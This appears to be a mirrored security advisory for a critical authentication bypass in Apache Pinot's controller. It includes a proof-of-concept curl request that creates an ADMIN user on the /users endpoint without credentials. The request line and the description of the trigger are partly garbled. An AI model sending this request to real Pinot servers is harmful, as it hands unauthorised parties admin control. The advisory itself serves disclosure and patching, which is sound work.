Critical

Apache Pinot Vulnerable to Authentication Bypass

  • Disclosed: 01.04.2025
  • Updated: 11.10.2026 13:19

Authentication Bypass Issue

If the path does not contain / and contain., authentication is not required.

Expected Normal Request and Response Example

curl -X POST -H "Content-Type: application/json" -d {"username":"hack2","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"} http://{server_ip}:9000/users

Return: {"code":401,"error":"HTTP 401 Unauthorized"}

Malicious Request and Response Example

curl -X POST -H "Content-Type: application/json" -d '{"username":"hack","password":"hack","component":"CONTROLLER","role":"ADMIN","tables":[],"permissions":[],"usernameWithComponent":"hack_CONTROLLER"}' http://{serverip}:9000/users; http://{serverip}:9000/users; .

Return: {"users":{}}

A new user gets added bypassing authentication, enabling the user to control Pinot.

Affected software

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PlatformPackageVulnerable versionsFixed in
Java / Kotlin (Maven) org.apache.pinot:pinot-broker >= 0.8.0, < 1.3.0 1.3.0
Java / Kotlin (Maven) org.apache.pinot:pinot-common >= 0.8.0, < 1.3.0 1.3.0
Java / Kotlin (Maven) org.apache.pinot:pinot-controller >= 0.8.0, < 1.3.0 1.3.0

References

CVSS score 9.8/10
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-288
Platform
Java / Kotlin (Maven)
Package
org.apache.pinot:pinot-broker, org.apache.pinot:pinot-common, org.apache.pinot:pinot-controller
Disclosed
01.04.2025
Updated
11.10.2026 13:19

Sources and licenses

OSV / GitHub Advisory Database - GHSA-6jwp-4wvj-6597 - CC BY 4.0

Vulnerability history: org.apache.pinot:pinot-broker

All published vulnerabilities of this package (Java / Kotlin (Maven)), newest first. Shows whether this is a one-off slip or a package that needs watching.

This is the only known vulnerability of this package.

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